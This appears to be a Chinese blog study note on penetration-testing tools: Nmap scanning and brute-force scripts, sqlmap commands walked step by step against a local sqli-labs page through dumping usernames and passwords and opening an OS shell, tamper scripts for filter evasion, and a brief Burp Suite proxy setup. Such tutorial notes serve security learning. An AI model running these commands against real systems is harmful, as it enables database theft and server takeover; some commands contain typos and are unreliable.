李明珂笔记

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现

-v 显示信息的级别,-vv显示更详细的信息

192.168.1.1/24 扫描C段   192.168.11 -254 =上

nmap -A -T4 -v -iL   ~/targets.txt   (iL表示要扫描的目标位于一个文档中)

--------------- 192.168.1.1/24  --exclude 192.168.1.100  (排除在外的目标 .100)

--------------- -----------------excludefile  ~/targets.txt

nmap 192.168.1.1   -p 80.443 网站  是否在这个端口部署网站

nmap –traceroute 192.168.1.1   探测路由

nmap -O 192.168.1.1  对目标进行指纹识别

nmap -sV    ----------  对版本进行探测

nmap -sF -T4 192.168.1.1  利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。  (利用三次握手,可以绕开防火墙)

nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令

-----------=brute+ip 暴力破解

扫描脚本介绍:

位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts

脚本类型:

642984f3cf00454490e279087b1a345d.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 ll  /usr/share/nmap/scripts | grep ^- | wc -l

83c34903546c478a9442562221c460a2.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

使用介绍:

nmap --script=auth 192.168.137.*

负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*

提供暴力破解的方式  可对数据库,smb,snmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。

nmap --script=vuln 192.168.137.* 

检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4

在局域网内探查更多服务开启状况

zenmap

Nmap 的图形化界面:

26f3e12d76804ea2b2b4b045f7038477.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_18,color_FFFFFF,t_70,g_se,x_16

 

2.SQLmap 简介

是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server,  Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

安装sqlmap前,需要先安装Python3.X

Python Releases for Windows | Python.org

在环境变量path中,增加python3.x 安装路径

下载sqlmap并解压缩:

地址:sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py -u http://xxx.xxx.xxx/

Python sqlmap.py –help 查看帮助 borp

 sqlmap支持五种不同的注入模式:

UNION query SQL injection(可联合查询注入)
uError-based SQL injection(报错型注入)
uBoolean-based blind SQL injection(布尔型注入)
uTime-based blind SQL injection(基于时间延迟注入)
uStacked queries SQL injection(可多语句查询注入)
2.sqlmap 常用命令参数

-u  /--url  最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

3.设置回显等级

参数: -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload

(级别越高显示信息越多)

 4同时显示HTTP请求。

5同时显示HTTP响应头。

6同事显示HTTP响应页面。

--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie (用于区分用户)

可能会有漏洞,当web登录时,抓取数据包。

 4.设置HTTP数据包相关参数

HTTP User-Agent 头

参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

5.设定探测等级:--level

共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中,目前连接的用户

--is-dba 判断当前是否为管理,是的话返回true

--proxy 指定一个代理服务器  eg: -proxy http://xxxxxx.8080

--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限

 6.Sqlmap“六步”

第一步:判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”

检测该网站是否存在漏洞   白色加粗字体为注入点 也就是攻击对象

d15f1b637f27489c89bf3d91ed232d23.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

第二步:获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

84fc403cfbd9487c961d7d28d98383dd.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

第三步:查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”  --current-db

abba5afb4ec14564bec5f71cd86d8c86.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

四:列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

f77bc51032bb4304a8808498719a57e4.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

五:读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

3b670bc99a334d1c9d8ed04ec8043557.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

六:读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)

b5fc06f4e8c946f0b266cb09c63f865a.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

 

判断当前数据库用户权限:

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

如果是TRUE  ,那么权限该用户很大。

ffee933bb7244428ae48410ce07f9b12.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

-roles 列出数据库管理员角色

 如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

aff0949b046245159ae1780b195080ac.png?type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_17,color_FFFFFF,t_70,g_se,x_16

 

-referer HTTPReferer头

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

-sql-shell 运行自定义的sql语句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令:

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

1fc4c6744b3b4d0cbb13a0e601598954.png?type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

--os-cmd=whoami

--os-shell

(以你的电脑为跳板,对局域网进行渗透,或留后门)

--file-read 从数据库服务器中读取文件  :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

上传文件到数据库服务器中:

--file-write

--file-dest

读取指定数据库用户的密码  

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

8471e4b16e314d90aa7887e6edaaa44f.png?type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

SQLMAP进阶 常用tamper脚本

  apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)

适用数据库:ALL

作用:将引号替换为utf-8,用于过滤单引号

使用脚本前:tamper("1 AND '1'='1")

使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

  multiplespaces.py  围绕sql关键字添加多个空格 去绕过

适用数据库:ALL

作用:围绕sql关键字添加多个空格

使用脚本前:tamper('1 UNION SELECT foobar')

使用脚本后:1 UNION SELECT foobar

3. Burp Suite工具

一.配置及代理设置

1.使用前配置

①选择代理Proxy选项卡

②选择设置option选项卡

26c970786a1641a18072b0eab27a2bf5.png?type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATUd3aGh5cQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 

③Edit Running打勾  124.0.0.1:8080 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值